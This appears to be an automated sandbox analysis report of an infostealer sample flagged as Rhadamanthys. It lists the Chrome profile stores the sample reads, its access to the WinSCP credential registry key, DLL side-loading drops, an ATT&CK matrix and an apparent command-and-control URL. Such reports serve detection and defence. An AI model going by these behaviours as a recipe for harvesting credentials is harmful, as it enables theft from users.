Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Monochrome	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Maskable	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Maskable	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Maskable	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Monochrome	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\58ef9818-5ea1-49a0-b5b0-9338401a7943	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Monochrome	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Maskable	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Monochrome	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\15702f96-fbc1-4934-99bf-a9a7406c1be7	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Monochrome	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Maskable	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Maskable	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb	Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\System32\OpenWith.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration\Security

Jump to behavior

Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439BA0D58 socket,bind,		10_3_00007DF439BA0D58
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B6F694 CreateNamedPipeW,BindIoCompletionCallback,ConnectNamedPipe,		10_3_00007DF439B6F694

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	11 Windows Management Instrumentation	11 DLL Side-Loading	11 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	2 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	11 Native API	Boot or Logon Initialization Scripts	312 Process Injection	3 Obfuscated Files or Information	1 Network Sniffing	3 File and Directory Discovery	Remote Desktop Protocol	2 Data from Local System	Exfiltration Over Bluetooth	21 Encrypted Channel	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	12 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	1 Software Packing	21 Input Capture	1 Network Sniffing	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	1 Non-Standard Port			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	11 DLL Side-Loading	1 Credentials in Registry	27 System Information Discovery	Distributed Component Object Model	21 Input Capture	Traffic Duplication	2 Non-Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	241 Security Software Discovery	SSH	Keylogging	Scheduled Transfer	3 Application Layer Protocol			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Data Transfer Size Limits	Multiband Communication			Service Stop	Botnet	Domain Properties
External Remote Services	Systemd Timers	Startup Items	Startup Items	312 Process Injection	DCSync	1 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	Commonly Used Port			Inhibit System Recovery	Web Services	DNS

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
XtDhwVrVKn.exe	8%	Virustotal		Browse
XtDhwVrVKn.exe	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\aylundwhckajft	100%	Avira	HEUR/AGEN.1309923
C:\Users\user\AppData\Local\Temp\aylundwhckajft	57%	ReversingLabs	Win32.Trojan.Rhadamanthys
C:\Users\user\AppData\Local\Temp\aylundwhckajft	72%	Virustotal		Browse
C:\Users\user\AppData\Roaming\NotepadWizardv2\CrashRpt.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\NotepadWizardv2\CrashRpt.dll	0%	Virustotal		Browse
C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	0%	Virustotal		Browse
C:\Users\user\AppData\Roaming\NotepadWizardv2\cv099.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\NotepadWizardv2\cv099.dll	3%	Virustotal		Browse
C:\Users\user\AppData\Roaming\NotepadWizardv2\cxcore099.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\NotepadWizardv2\cxcore099.dll	0%	Virustotal		Browse
C:\Users\user\AppData\Roaming\NotepadWizardv2\cximagecrt.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\NotepadWizardv2\cximagecrt.dll	0%	Virustotal		Browse
C:\Users\user\AppData\Roaming\NotepadWizardv2\dbghelp.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\NotepadWizardv2\dbghelp.dll	0%	Virustotal		Browse
C:\Users\user\AppData\Roaming\NotepadWizardv2\highgui099.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\NotepadWizardv2\highgui099.dll	0%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
ipv4.imgur.map.fastly.net	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://discord.com	0%	Avira URL Cloud	safe
http://www.phoenixlabs.org)	0%	Avira URL Cloud	safe
http://www.peerblock.comhttp://forums.peerblock.comTEXTPeerBlock	0%	Avira URL Cloud	safe
https://95.214.25.98:5932/c308853b38a937713/esl57g54.3bb6xX	0%	Avira URL Cloud	safe
http://list.iblocklist.com/?list=?&=usernameidpinlisthttp://list.iblocklist.com/lists/	0%	Avira URL Cloud	safe
https://95.214.25.98:5932/c308853b38a937713/esl57g54.3bb6x	0%	Avira URL Cloud	safe
http://www.bluetack.co.uk/config/trojan.zip	0%	Avira URL Cloud	safe
http://download.manycam.comVerdanaThis	0%	Avira URL Cloud	safe
https://discord.com	0%	Virustotal		Browse
http://www.manycam.comhttp://manycam.com/feedback/?version=%sAnchor	0%	Avira URL Cloud	safe
http://www.bluetack.co.uk/config/trojan.zip	0%	Virustotal		Browse
http://download.manycam.comNew	0%	Avira URL Cloud	safe
https://95.214.25.98:5932/c308853b38a937713/esl57g54.3bb6x	0%	Virustotal		Browse
https://95.214.25.98:5932/c308853b38a937713/esl57g54.3bb6xkernelbasentdllkernel32GetProcessMitigatio	0%	Avira URL Cloud	safe
http://list.iblocklist.com/?list=?&=usernameidpinlisthttp://list.iblocklist.com/lists/	1%	Virustotal		Browse
https://95.214.25.98:5932/c308853b38a937713/esl57g54.3bb6xkernelbasentdllkernel32GetProcessMitigatio	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
app.physics.wisc.edu	128.104.160.19	true	false		high
ipv4.imgur.map.fastly.net	151.101.200.193	true	false	0%, Virustotal, Browse	unknown
i.imgur.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://i.imgur.com/z0gTiQ2.png	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://download.manycam.com/effects/%s/%s?v=%s	ManyCam.exe	false		high
http://update.peerblock.com/pb_update.php?build=41401140693	XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	false		high
http://www.manycam.com/codec	ManyCam.exe, ManyCam.exe, 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmp	false		high
https://duckduckgo.com/chrome_newtab	OpenWith.exe, 0000000A.00000003.2593336172.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2593030770.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2592628131.000001D139295000.00000004.00000020.00020000.00000000.sdmp	false		high
https://discord.com	OpenWith.exe, 0000000A.00000003.2601339249.000001D139285000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	OpenWith.exe, 0000000A.00000003.2593336172.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2593030770.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2592628131.000001D139295000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.peerblock.comhttp://forums.peerblock.comTEXTPeerBlock	XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://www.vmware.com/0	ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	OpenWith.exe, 0000000A.00000003.2593336172.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2593030770.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2592628131.000001D139295000.00000004.00000020.00020000.00000000.sdmp	false		high
http://forums.peerblock.com.	XtDhwVrVKn.exe, 00000000.00000000.1999301945.00007FF62CDCE000.00000002.00000001.01000000.00000003.sdmp	false		high
http://www.manycam.com/codecVerdanaThis	ManyCam.exe, 00000002.00000000.2061044675.000000000053B000.00000002.00000001.01000000.00000007.sdmp, ManyCam.exe, 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmp	false		high
https://95.214.25.98:5932/c308853b38a937713/esl57g54.3bb6xX	dialer.exe, 00000008.00000002.2487637927.00000000008EC000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://manycam.com/help/effects	ManyCam.exe, ManyCam.exe, 00000002.00000000.2061044675.000000000053B000.00000002.00000001.01000000.00000007.sdmp, ManyCam.exe, 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmp	false		high
http://list.iblocklist.com/?list=?&=usernameidpinlisthttp://list.iblocklist.com/lists/	XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.phoenixlabs.org)	XtDhwVrVKn.exe, 00000000.00000000.1999301945.00007FF62CDCE000.00000002.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	low
https://discordapp.com	OpenWith.exe, 0000000A.00000003.2601339249.000001D139285000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.214.25.98:5932/c308853b38a937713/esl57g54.3bb6x	OpenWith.exe, 0000000A.00000003.2629647997.000001D139209000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2846698564.000001D139209000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2531310501.000001D139209000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.vmware.com/0/	ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	OpenWith.exe, 0000000A.00000003.2593336172.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2593030770.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2592628131.000001D139295000.00000004.00000020.00020000.00000000.sdmp	false		high
http://download.manycam.com/effects/%s/%s?v=%sBackgroundsDynamicDynamic	ManyCam.exe, 00000002.00000000.2061044675.000000000053B000.00000002.00000001.01000000.00000007.sdmp, ManyCam.exe, 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	OpenWith.exe, 0000000A.00000003.2593336172.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2593030770.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2592628131.000001D139295000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.peerblock.com/error	XtDhwVrVKn.exe, 00000000.00000000.1999301945.00007FF62CDCE000.00000002.00000001.01000000.00000003.sdmp	false		high
https://www.ecosia.org/newtab/	OpenWith.exe, 0000000A.00000003.2593336172.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2593030770.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2592628131.000001D139295000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.symauth.com/cps0(	ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.manycam.com	ManyCam.exe, ManyCam.exe, 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmp	false		high
http://manycam.com/upload_effect?filepath=	ManyCam.exe	false		high
https://ac.ecosia.org/autocomplete?q=	OpenWith.exe, 0000000A.00000003.2593336172.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2593030770.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2592628131.000001D139295000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.peerblock.com/required-services	XtDhwVrVKn.exe, 00000000.00000000.1999301945.00007FF62CDCE000.00000002.00000001.01000000.00000003.sdmp	false		high
http://www.manycam.com/codecVerdanaTo	ManyCam.exe, 00000002.00000000.2061044675.000000000053B000.00000002.00000001.01000000.00000007.sdmp, ManyCam.exe, 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmp	false		high
http://www.manycam.com/help/effects/snapshot/these	ManyCam.exe, 00000002.00000000.2061044675.000000000053B000.00000002.00000001.01000000.00000007.sdmp, ManyCam.exe, 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmp	false		high
http://peerguardian.sourceforge.net/lists/	XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	false		high
http://www.symauth.com/rpa00	ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://manycam.com/upload_effect?filepath=ManyCam	ManyCam.exe, 00000002.00000000.2061044675.000000000053B000.00000002.00000001.01000000.00000007.sdmp, ManyCam.exe, 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmp	false		high
http://www.peerblock.com	XtDhwVrVKn.exe, 00000000.00000000.1999301945.00007FF62CDCE000.00000002.00000001.01000000.00000003.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	OpenWith.exe, 0000000A.00000003.2593336172.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2593030770.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2592628131.000001D139295000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.bluetack.co.uk/config/trojan.zip	XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://download.manycam.comVerdanaThis	ManyCam.exe, 00000002.00000000.2061044675.000000000053B000.00000002.00000001.01000000.00000007.sdmp, ManyCam.exe, 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmp	false	Avira URL Cloud: safe	unknown
http://www.info-zip.org/	ManyCam.exe, 00000002.00000002.2117472776.00000000038BD000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.000000000560F000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E16000.00000004.00000800.00020000.00000000.sdmp	false		high
http://download.manycam.com	ManyCam.exe, 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmp	false		high
